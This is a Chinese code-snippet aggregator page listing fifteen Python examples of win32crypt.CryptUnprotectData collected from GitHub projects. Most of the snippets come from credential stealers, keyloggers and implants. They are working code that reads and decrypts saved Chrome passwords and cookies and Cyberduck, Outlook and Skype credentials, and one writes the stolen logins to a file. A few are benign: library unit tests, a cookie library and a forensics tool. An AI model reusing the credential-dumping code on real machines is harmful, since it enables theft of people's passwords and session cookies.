当前位置: 首页>>代码示例>>Python>>正文


Python win32crypt.CryptUnprotectData方法代码示例

本文整理汇总了Python中win32crypt.CryptUnprotectData方法的典型用法代码示例。如果您正苦于以下问题:Python win32crypt.CryptUnprotectData方法的具体用法?Python win32crypt.CryptUnprotectData怎么用?Python win32crypt.CryptUnprotectData使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在win32crypt的用法示例。


在下文中一共展示了win32crypt.CryptUnprotectData方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: parse_xml

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def parse_xml(self, xml_file):
        tree = ET.ElementTree(file=xml_file)

        pwdFound = []
        for elem in tree.iter():
            values = {}
            try:
                if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib[
                    'name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib[
                    'name'].startswith('https'):
                    values['URL'] = elem.attrib['name']
                    encrypted_password = base64.b64decode(elem.attrib['value'])
                    password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1]
                    values['Password'] = password

                    pwdFound.append(values)
            except Exception, e:
                pass

        # print the results 
开发者ID:mehulj94,项目名称:Radium,代码行数:22,代码来源:cyberduck.py

示例2: retrieve_info

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def retrieve_info(self, hkey, name_key):
        values = {}
        num = win32api.RegQueryInfoKey(hkey)[1]
        for x in range(0, num):
            k = win32api.RegEnumValue(hkey, x)
            if 'password' in k[0].lower():
                try:
                    password = win32crypt.CryptUnprotectData(k[1][1:], None, None, None, 0)[1]
                    values[k[0]] = password.decode('utf16')
                except Exception, e:
                    values[k[0]] = 'N/A'
            else:
                try:
                    values[k[0]] = str(k[1]).decode('utf16')
                except:
                    values[k[0]] = str(k[1]) 
开发者ID:mehulj94,项目名称:Radium,代码行数:18,代码来源:outlook.py

示例3: get_regkey

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def get_regkey(self):
        try:
            accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
            keyPath = 'Software\\Skype\\ProtectedStorage'

            try:
                hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
            except Exception, e:
                print e
                return ''

            num = win32api.RegQueryInfoKey(hkey)[1]
            k = win32api.RegEnumValue(hkey, 0)

            if k:
                key = k[1]
                return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 
开发者ID:mehulj94,项目名称:Radium,代码行数:19,代码来源:skype.py

示例4: run

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def run(self):

        chrome_result = os.linesep

        try:
            path = os.getenv("LOCALAPPDATA")  + "\Google\Chrome\User Data\Default\Login Data"
            pathcopy = os.getenv("LOCALAPPDATA")  + "\Google\Chrome\User Data\Default\LoginDataCopy"
            copyfile(path, pathcopy)
            connectionSQLite = sqlite3.connect(pathcopy)
            cursor = connectionSQLite.cursor() 
            cursor.execute('SELECT action_url, username_value, password_value FROM logins') 
            for raw in cursor.fetchall():
                password = win32crypt.CryptUnprotectData(raw[2])[1]

                chrome_result = chrome_result + password + os.linesep
               
            connectionSQLite.close()
        except Exception, e:
            chrome_result = "No passwords in Chrome retrieved"
        

        # Send the results 
开发者ID:1modm,项目名称:stegator,代码行数:24,代码来源:implant.py

示例5: get_regkey

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def get_regkey(self):
        try:
            accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
            keyPath = 'Software\\Skype\\ProtectedStorage'

            try:
                hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
            except Exception, e:
                # print e
                return ''

            num = win32api.RegQueryInfoKey(hkey)[1]
            k = win32api.RegEnumValue(hkey, 0)

            if k:
                key = k[1]
                return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 
开发者ID:mehulj94,项目名称:BrainDamage,代码行数:19,代码来源:skype.py

示例6: testSimple

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def testSimple(self):
        data = str2bytes("My test data")
        entropy = None
        desc = "My description"
        flags = 0
        ps = None
        blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags)
        got_desc, got_data = win32crypt.CryptUnprotectData(blob, entropy, None, ps, flags)
        self.failUnlessEqual(data, got_data)
        self.failUnlessEqual(desc, got_desc) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:12,代码来源:test_win32crypt.py

示例7: testEntropy

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def testEntropy(self):
        data = str2bytes("My test data")
        entropy = str2bytes("My test entropy")
        desc = "My description"
        flags = 0
        ps = None
        blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags)
        got_desc, got_data = win32crypt.CryptUnprotectData(blob, entropy, None, ps, flags)
        self.failUnlessEqual(data, got_data)
        self.failUnlessEqual(desc, got_desc) 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:12,代码来源:test_win32crypt.py

示例8: _decrypt

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def _decrypt(self, value, encrypted_value, key):
        """Decrypt encoded cookies
        """
        if (sys.platform == 'darwin') or sys.platform.startswith('linux'):
            if value or (encrypted_value[:3] != b'v10'):
                return value

            # Encrypted cookies should be prefixed with 'v10' according to the
            # Chromium code. Strip it off.
            encrypted_value = encrypted_value[3:]

            # Strip padding by taking off number indicated by padding
            # eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
            def clean(x):
                last = x[-1]
                if isinstance(last, int):
                    return x[:-last].decode('utf8')
                else:
                    return x[:-ord(last)].decode('utf8')

            iv = b' ' * 16
            cipher = AES.new(key, AES.MODE_CBC, IV=iv)
            decrypted = cipher.decrypt(encrypted_value)
            return clean(decrypted)
        else:
            # Must be win32 (on win32, all chrome cookies are encrypted)
            try:
                import win32crypt
            except ImportError:
                raise BrowserCookieError(
                    'win32crypt must be available to decrypt Chrome cookie on Windows')
            return win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[
                1].decode("utf-8") 
开发者ID:bomquote,项目名称:transistor,代码行数:35,代码来源:browsercookie.py

示例9: main

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def main():
    info_list = []
    path = getpath()
    try:
        connection = sqlite3.connect(path + "Login Data")
        with connection:
            cursor = connection.cursor()
            v = cursor.execute(
                'SELECT action_url, username_value, password_value FROM logins')
            value = v.fetchall()

        if (os.name == "posix") and (sys.platform == "darwin"):
            print("Mac OSX not supported.")
            sys.exit(0)

        for origin_url, username, password in value:
            if os.name == 'nt':
                password = win32crypt.CryptUnprotectData(
                    password, None, None, None, 0)[1]
            
            if password:
                info_list.append({
                    'origin_url': origin_url,
                    'username': username,
                    'password': str(password)
                })

    except sqlite3.OperationalError as e:
        e = str(e)
        if (e == 'database is locked'):
            print('[!] Make sure Google Chrome is not running in the background')
        elif (e == 'no such table: logins'):
            print('[!] Something wrong with the database name')
        elif (e == 'unable to open database file'):
            print('[!] Something wrong with the database path')
        else:
            print(e)
        sys.exit(0)

    return info_list 
开发者ID:hassaanaliw,项目名称:chromepass,代码行数:42,代码来源:chromepass.py

示例10: dump_passwords

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def dump_passwords(self):
        con = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
        cur = con.cursor()
        cur.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cur.fetchall():
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
            if password:
                site = 'Site: %s\n' % result[0]
                username = 'Username: %s\n' % result[1]
                password = 'Password: %s\n\n' % password
                with open(r'' + str(path_to_files) + 'CHROME/chrome_passwords.txt', 'a') as outputfile:
                    outputfile.write(site + username + password)
                    outputfile.close()
        files.append(path_to_files + 'CHROME/chrome_passwords.txt') 
开发者ID:invasi0nZ,项目名称:Lo0sR,代码行数:16,代码来源:Lo0sR.py

示例11: extract_passwords

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def extract_passwords(self, path_db):
        info_list = []
        try:
            connection = sqlite3.connect(path_db)
            with connection:
                cursor = connection.cursor()
                v = cursor.execute('SELECT origin_url, username_value, password_value, date_created FROM logins')
                value = v.fetchall()

            for origin_url, username, password, date_created in value:
                try:
                    pswd = decrypter(password, None, None, None, 0)[1]
                except:
                    pswd = b'???'

                if username:
                    info_list.append({
                        'URL': re.search('\/\/(?:www\.)?([^:\/?\n]+)', origin_url)[1],
                        'Login': username,
                        'Password': str(pswd, 'utf-8'),
                        'Created date': str(self.convert_time(date_created).strftime('%Y/%m/%d - %H:%M:%S'))
                    })
        except:
            return []

        return info_list 
开发者ID:kovinevmv,项目名称:DigiSparkStealer,代码行数:28,代码来源:chromium.py

示例12: extract_cookies

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def extract_cookies(self, path_db):
        info_list = {}
        id = {}
        try:
            connection = sqlite3.connect(path_db)
            with connection:
                cursor = connection.cursor()
                v = cursor.execute('SELECT host_key, name, encrypted_value, expires_utc, '
                                   'path, is_httponly, is_secure FROM cookies')
                value = v.fetchall()

            for host_key, name, encrypted_value, expires_utc, path, http, secure in value:
                decrypted_value = decrypter(encrypted_value, None, None, None, 0)[1].decode('utf-8')
                if decrypted_value:
                    try:
                        if host_key not in info_list:
                            id[host_key] = 1
                            info_list[host_key] = []
                        else:
                            id[host_key] += 1

                        el = {"domain": host_key,
                              "expirationDate": int(self.convert_time(expires_utc).timestamp()),
                              "hostOnly": False,
                              "httpOnly": bool(http),
                              "name": name,
                              "path": str(path),
                              "sameSite": "no_restriction",
                              "secure": bool(secure),
                              "session": False,
                              "storeId": "0",
                              "value": decrypted_value,
                              "id": id[host_key]}

                        info_list[host_key] = info_list[host_key] + [el]
                    except:
                        pass
        except:
            return []
        return info_list 
开发者ID:kovinevmv,项目名称:DigiSparkStealer,代码行数:42,代码来源:chromium.py

示例13: start

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def start(self):  
        #Retriving Password Hash From Database File
        c = sqlite3.connect(self.login_db)  
        cursor = c.cursor()
        select_statement = "SELECT origin_url, username_value, password_value FROM logins"
        cursor.execute(select_statement)
        login_data = cursor.fetchall()

        credentials_dict = {}  

        #Decrypting password
        for url, user_name, pwd, in login_data:
            pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #Tuple
            credentials_dict[url] = (user_name, pwd[1])
        
        #Iterating Each Creds and Storing it in "self.result"
        for url, credentials in six.iteritems(credentials_dict):
            if credentials[1]:
                self.result += "\n\nURL      : " + url
                self.result += "\nUsername : " + credentials[0]
                self.result += "\nPassword : " + credentials[1].decode('utf-8')
                
            else:   
                self.result += "\n\nURL      : " + url
                self.result += "\nUsername : NOT FOUND"
                self.result += "\nPassword : NOT FOUND"

        return self.result 
开发者ID:Technowlogy-Pushpender,项目名称:technowlogger,代码行数:30,代码来源:get_chrome_pass.py

示例14: unseal_windpapi

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def unseal_windpapi(sealed: bytes, entropy=None) -> bytes:
    import win32crypt
    (desc, secret) = win32crypt.CryptUnprotectData(sealed,
                                                   entropy,
                                                   None, # reserved
                                                   None, # prompt
                                                   0x01) # flags
    return secret 
开发者ID:grawity,项目名称:code,代码行数:10,代码来源:__init__.py

示例15: decrypt_cookie

# 需要导入模块: import win32crypt [as 别名]
# 或者: from win32crypt import CryptUnprotectData [as 别名]
def decrypt_cookie(self, encrypted_value):
        """Decryption based on work by Nathan Henrie and Jordan Wright as well as Chromium source:
         - Mac/Linux: http://n8henrie.com/2014/05/decrypt-chrome-cookies-with-python/
         - Windows: https://gist.github.com/jordan-wright/5770442#file-chrome_extract-py
         - Relevant Chromium source code: http://src.chromium.org/viewvc/chrome/trunk/src/components/os_crypt/
         """
        salt = b'saltysalt'
        iv = b' ' * 16
        length = 16

        def chrome_decrypt(encrypted, key=None):
            # Encrypted cookies should be prefixed with 'v10' according to the
            # Chromium code. Strip it off.
            encrypted = encrypted[3:]

            # Strip padding by taking off number indicated by padding
            # eg if last is '\x0e' then ord('\x0e') == 14, so take off 14.
            def clean(x):
                return x[:-ord(x[-1])]

            cipher = AES.new(key, AES.MODE_CBC, IV=iv)
            decrypted = cipher.decrypt(encrypted)

            return clean(decrypted)

        decrypted_value = "<error>"
        if encrypted_value is not None:
            if len(encrypted_value) >= 2:
                # If running Chrome on Windows
                if sys.platform == 'win32' and self.available_decrypts['windows'] is 1:
                    try:
                        decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
                    except:
                        decrypted_value = "<encrypted>"
                # If running Chrome on OSX
                elif sys.platform == 'darwin' and self.available_decrypts['mac'] is 1:
                    try:
                        if not self.cached_key:
                            my_pass = keyring.get_password('Chrome Safe Storage', 'Chrome')
                            my_pass = my_pass.encode('utf8')
                            iterations = 1003
                            self.cached_key = PBKDF2(my_pass, salt, length, iterations)
                        decrypted_value = chrome_decrypt(encrypted_value, key=self.cached_key)
                    except:
                        pass
                else:
                    decrypted_value = "<encrypted>"

                # If running Chromium on Linux.
                # Unlike Win/Mac, we can decrypt Linux cookies without the user's pw
                if decrypted_value is "<encrypted>" and self.available_decrypts['linux'] is 1:
                    try:
                        if not self.cached_key:
                            my_pass = 'peanuts'
                            iterations = 1
                            self.cached_key = PBKDF2(my_pass, salt, length, iterations)
                        decrypted_value = chrome_decrypt(encrypted_value, key=self.cached_key)
                    except:
                        pass

        return decrypted_value 
开发者ID:obsidianforensics,项目名称:hindsight,代码行数:63,代码来源:chrome.py


注:本文中的win32crypt.CryptUnprotectData方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。